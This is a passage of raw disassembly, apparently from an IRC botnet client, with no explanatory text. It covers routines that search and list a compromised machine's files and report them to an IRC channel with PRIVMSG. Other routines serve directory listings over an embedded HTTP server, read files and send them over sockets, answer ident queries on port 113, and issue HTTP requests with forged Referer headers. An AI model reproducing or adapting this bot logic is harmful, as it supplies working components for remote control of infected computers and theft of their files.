		push	edi
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4537DC[ecx], eax
		jz	short loc_40F44E


loc_40F43C:				; CODE XREF: sub_40F1D3+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F47C
		push	5
		call	dword_4F1334	; Sleep
		jmp	short loc_40F43C
; ---------------------------------------------------------------------------


loc_40F44E:				; CODE XREF: sub_40F1D3+267j
		push	ebx
		call	dword_4E0934
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_44BABC
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_41458A
		add	esp, 10h


loc_40F47C:				; CODE XREF: sub_40F1D3+1ADj
					; sub_40F1D3+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F1D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F483	proc near		; CODE XREF: sub_401CC1+6AEFp
					; sub_40F051+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B190
		mov	edi, [ebp+arg_0]
		push	offset asc_44BAF4 ; "\n"
		push	edi
		call	sub_41C550
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F4E2
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 14h
		jmp	loc_40F5DF
; ---------------------------------------------------------------------------


loc_40F4E2:				; CODE XREF: sub_40F483+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40F5C5
		call	sub_418D00
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		push	edi
		call	sub_418D00
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 0Ch
		jmp	short loc_40F5DF
; ---------------------------------------------------------------------------


loc_40F5C5:				; CODE XREF: sub_40F483+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 10h


loc_40F5DF:				; CODE XREF: sub_40F483+5Aj
					; sub_40F483+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F677
		push	[ebp+arg_C]
		call	sub_418D00
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40F677
		push	[ebp+arg_C]
		call	sub_418D00
		sub	eax, 3
		pop	ecx
		jz	short loc_40F62B


loc_40F61F:				; CODE XREF: sub_40F483+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40F62B
		dec	eax
		jnz	short loc_40F61F


loc_40F62B:				; CODE XREF: sub_40F483+19Aj
					; sub_40F483+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B1F0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC


loc_40F677:				; CODE XREF: sub_40F483+17Ej
					; sub_40F483+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4F13D8	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4F13D4	; FindNextFileA
		test	eax, eax
		jz	loc_40FA68
		mov	edi, 1FFh


loc_40F6A3:				; CODE XREF: sub_40F483+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_40FA50
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA50
		lea	eax, [ebp+var_35C]
		push	offset a__1	; "."
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FA50
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4F13D0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4F13CC	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_40F718
		mov	ecx, offset aAm	; "AM"


loc_40F718:				; CODE XREF: sub_40F483+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40F724
		sub	eax, 0Ch


loc_40F724:				; CODE XREF: sub_40F483+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B740
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40F8D1
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F7A5
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_22	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 28h
		jmp	loc_40FA21
; ---------------------------------------------------------------------------


loc_40F7A5:				; CODE XREF: sub_40F483+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_40F88F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_3	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_418D00
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40F845
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40F84A
; ---------------------------------------------------------------------------


loc_40F845:				; CODE XREF: sub_40F483+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40F84A:				; CODE XREF: sub_40F483+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FA12
; ---------------------------------------------------------------------------


loc_40F88F:				; CODE XREF: sub_40F483+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_23	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_40F8BC:				; CODE XREF: sub_40F483+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 24h
		jmp	loc_40FA21
; ---------------------------------------------------------------------------


loc_40F8D1:				; CODE XREF: sub_40F483+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F8FB
		push	ebx
		push	[ebp+var_368]
		call	sub_414F46
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F8FB:				; CODE XREF: sub_40F483+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_40F9FB
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_4	; "%s%s"
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_418D00
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40F99B
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40F9A0
; ---------------------------------------------------------------------------


loc_40F99B:				; CODE XREF: sub_40F483+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40F9A0:				; CODE XREF: sub_40F483+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		jmp	short loc_40FA21
; ---------------------------------------------------------------------------


loc_40F9FB:				; CODE XREF: sub_40F483+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_40FA12:				; CODE XREF: sub_40F483+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B910
		add	esp, 18h


loc_40FA21:				; CODE XREF: sub_40F483+31Dj
					; sub_40F483+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FA50
		push	7D0h
		call	dword_4F1334	; Sleep


loc_40FA50:				; CODE XREF: sub_40F483+226j
					; sub_40F483+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4F13D4	; FindNextFileA
		test	eax, eax
		jnz	loc_40F6A3


loc_40FA68:				; CODE XREF: sub_40F483+215j
		push	[ebp+arg_0]
		call	dword_4F13C8	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FAAB
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_414F46
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_414F46
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B740
		add	esp, 14h
		jmp	short loc_40FADF
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: sub_40F483+5F1j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FAC5
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	short loc_40FADF
; ---------------------------------------------------------------------------


loc_40FAC5:				; CODE XREF: sub_40F483+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B740
		add	esp, 10h


loc_40FADF:				; CODE XREF: sub_40F483+626j
					; sub_40F483+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E08EC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB05	proc near		; CODE XREF: sub_40F051+13Bp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4F13A8	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40FBBD
		push	esi
		push	ebx
		call	dword_4F13C4	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_40FBB6


loc_40FB4A:				; CODE XREF: sub_40FB05+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_40FB67
		mov	edi, [ebp+arg_4]


loc_40FB67:				; CODE XREF: sub_40FB05+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4F13DC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4F13A4	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FBB1
		call	dword_4E083C
		cmp	eax, 2733h
		jnz	short loc_40FBB6
		xor	eax, eax


loc_40FBB1:				; CODE XREF: sub_40FB05+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_40FB4A


loc_40FBB6:				; CODE XREF: sub_40FB05+43j
					; sub_40FB05+A8j
		push	ebx
		call	dword_4F1324	; CloseHandle


loc_40FBBD:				; CODE XREF: sub_40FB05+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FB05	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FBC2	proc near		; CODE XREF: sub_40F1D3+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_418D00
		test	eax, eax
		pop	ecx
		jbe	short loc_40FBEB


loc_40FBD5:				; CODE XREF: sub_40FBC2+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_40FBDF
		mov	byte ptr [esi+edi], 2Fh


loc_40FBDF:				; CODE XREF: sub_40FBC2+17j
		push	edi
		inc	esi
		call	sub_418D00
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FBD5


loc_40FBEB:				; CODE XREF: sub_40FBC2+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40FBC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FBF0	proc near		; CODE XREF: sub_401CC1+4A58p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4E081C
		push	6
		push	1
		push	2
		call	dword_4E091C
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4E08A0
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_409EFD
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FCCD
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_40FC69
		mov	eax, offset dword_4E3630


loc_40FC69:				; CODE XREF: sub_40FBF0+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4E08EC
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E08B8
		pop	esi


loc_40FCCD:				; CODE XREF: sub_40FBF0+6Bj
		push	ebx
		call	dword_4E0934
		call	dword_4E0804
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B740
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40FD0D
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_40FD0D:				; CODE XREF: sub_40FBF0+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_40FBF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD11	proc near		; DATA XREF: sub_40141B+43Fo
					; sub_401CC1+3C61o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4E08A0
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4E091C
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40FE72
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_4537D4[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4E08CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE72
		push	5
		push	ebx
		call	dword_4E08C8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE72
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_40FD9C:				; CODE XREF: sub_40FD11+EAj
					; sub_40FD11+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4E0930
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40FE6D
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44BFCC
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_41458A
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E08B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FD9C
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_415CFF
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41B190
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40A4F6
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FD9C
		mov	[ebp+var_8], 1
		jmp	loc_40FD9C
; ---------------------------------------------------------------------------


loc_40FE6D:				; CODE XREF: sub_40FD11+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_40FE99


loc_40FE72:				; CODE XREF: sub_40FD11+47j
					; sub_40FD11+6Bj ...
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44C010
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_41458A
		add	esp, 10h


loc_40FE99:				; CODE XREF: sub_40FD11+15Fj
		push	ebx
		call	dword_4E0934
		push	[ebp+var_4]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40FD11	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEBC	proc near		; DATA XREF: sub_401CC1+58F5o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4E08A0
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4E091C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410028
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_4537D4[ecx], eax
		call	dword_4E07C0
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08CC
		test	eax, eax
		jnz	loc_410028
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4E08C8
		test	eax, eax
		jnz	loc_410028


loc_40FF6C:				; CODE XREF: sub_40FEBC+C6j
					; sub_40FEBC+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E0930
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40FF6C
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_44C03C
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40A7FD
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_4537CC[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_41004D
		push	esi
		push	esi
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4537DC[ecx], eax
		jz	short loc_410013


loc_410000:				; CODE XREF: sub_40FEBC+155j
		cmp	[ebp+var_30], esi
		jnz	loc_40FF6C
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_410000
; ---------------------------------------------------------------------------


loc_410013:				; CODE XREF: sub_40FEBC+142j
